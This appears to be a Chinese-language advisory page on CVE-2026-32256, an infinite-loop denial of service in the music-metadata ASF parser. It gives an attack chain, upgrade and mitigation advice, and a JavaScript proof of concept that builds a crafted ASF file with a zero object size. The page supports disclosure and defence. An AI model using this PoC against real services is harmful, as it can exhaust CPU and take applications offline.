IPBUF安全漏洞报告
English
CVE-2026-32256 CVSS 7.5 高危

CVE-2026-32256 music-metadata ASF解析器无限循环拒绝服务漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32256
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Borewit/music-metadata

相关标签

拒绝服务无限循环ASF解析器music-metadataCVE-2026-32256高危漏洞Node.js媒体文件解析

漏洞概述

CVE-2026-32256是Borewit music-metadata库中的一个高危拒绝服务漏洞。music-metadata是一个用于解析音频和视频媒体文件元数据的Node.js库。该漏洞存在于ASF(Advanced Systems Format)解析器的parseExtensionObject()函数中,当解析ASF Header Extension Object内的子对象时,如果子对象的objectSize字段值为0,会导致解析器进入无限循环。攻击者可以通过构造一个objectSize为0的恶意ASF文件,诱使使用该库的应用在解析文件时持续消耗CPU资源,最终导致服务不可用。由于该漏洞可通过网络触发且无需认证和用户交互,CVSS评分达到7.5分(高危)。受影响版本为11.12.3之前的music-metadata库,强烈建议用户升级至11.12.3或更高版本以修复此安全问题。

技术细节

该漏洞位于lib/asf/AsfParser.ts文件的parseExtensionObject()函数(第112-158行)。ASF格式使用对象结构来存储数据,每个对象包含一个GUID标识符和一个8字节的objectSize字段。正常情况下,解析器会根据objectSize来读取对象数据并移动到下一个对象。然而,当objectSize为0时,解析器无法正确处理这种情况,导致读取位置无法推进,陷入无限循环。攻击者可以构造一个特制的ASF文件,在ASF Header Extension Object中嵌入一个objectSize为0的子对象。当music-metadata库尝试解析该文件时,parseExtensionObject()函数会不断尝试读取数据,但由于位置不前进,循环永远不会终止。这会导致Node.js进程CPU使用率飙升,最终可能导致服务器资源耗尽而崩溃。修复版本11.12.3在读取objectSize后添加了验证逻辑,当检测到objectSize为0时立即退出循环,避免无限循环的发生。

攻击链分析

STEP 1
1
攻击者创建包含恶意ASF文件的PoC,该文件的ASF Header Extension Object中包含objectSize为0的子对象
STEP 2
2
受害者在使用music-metadata库的应用中打开或解析该恶意ASF文件
STEP 3
3
parseExtensionObject()函数在lib/asf/AsfParser.ts:112-158处开始解析ASF Header Extension Object
STEP 4
4
当检测到子对象的objectSize为0时,解析器进入无限循环,因为读取位置无法前进
STEP 5
5
Node.js进程CPU使用率飙升,消耗100%CPU资源,导致服务响应缓慢或无响应
STEP 6
6
如果多个请求同时处理恶意文件,可能导致服务器资源耗尽,最终引发拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-32256: music-metadata ASF parser infinite loop // This PoC creates a malicious ASF file with objectSize = 0 to trigger infinite loop const fs = require('fs'); const { parseFile } = require('music-metadata'); // ASF File Header Object GUID const ASF_FILE_HEADER_OBJECT = Buffer.from([ 0x30, 0x26, 0xB2, 0x75, 0x8E, 0x66, 0xCF, 0x11, 0xA6, 0xD9, 0x00, 0xAA, 0x00, 0x62, 0xCE, 0x6C ]); // ASF Header Extension Object GUID const ASF_HEADER_EXTENSION_OBJECT = Buffer.from([ 0x5B, 0xFB, 0xB7, 0xD7, 0x4F, 0x7C, 0xCF, 0x11, 0xA8, 0xFD, 0x00, 0x80, 0x5F, 0x5C, 0x44, 0x2B ]); // Create malicious ASF file with objectSize = 0 function createMaliciousAsfFile(filename) { const buffer = Buffer.alloc(1024); let offset = 0; // Write ASF Header Object ASF_FILE_HEADER_OBJECT.copy(buffer, offset); offset += 16; // Object size (placeholder, will be updated) buffer.writeBigInt64LE(1024n, offset); offset += 8; // Write ASF Header Extension Object ASF_HEADER_EXTENSION_OBJECT.copy(buffer, offset); offset += 16; // Object size = 0 (this triggers the infinite loop) buffer.writeBigInt64LE(0n, offset); offset += 8; // Fill remaining with zeros buffer.fill(0, offset); // Update file header object size buffer.writeBigInt64LE(BigInt(offset), 16); fs.writeFileSync(filename, buffer.slice(0, offset)); console.log(`Malicious ASF file created: ${filename}`); } // Main execution const maliciousFile = 'poc_cve_2026_32256.asf'; createMaliciousAsfFile(maliciousFile); // Attempt to parse (will cause infinite loop in vulnerable versions) console.log('Attempting to parse malicious file...'); console.log('If the process hangs, the vulnerability is present.'); // Set timeout to prevent indefinite hanging setTimeout(() => { console.log('Parsing took too long - vulnerability confirmed!'); process.exit(1); }, 5000); parseFile(maliciousFile) .then(() => console.log('Parsing completed')) .catch(err => console.error('Error:', err));

影响范围

Borewit/music-metadata < 11.12.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在解析前对ASF文件进行初步验证,检查文件头和对象结构;2) 为文件解析操作设置5-10秒的超时限制;3) 限制同时处理的解析任务数量;4) 监控CPU使用率异常波动并告警;5) 考虑使用进程隔离或容器技术限制解析操作的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表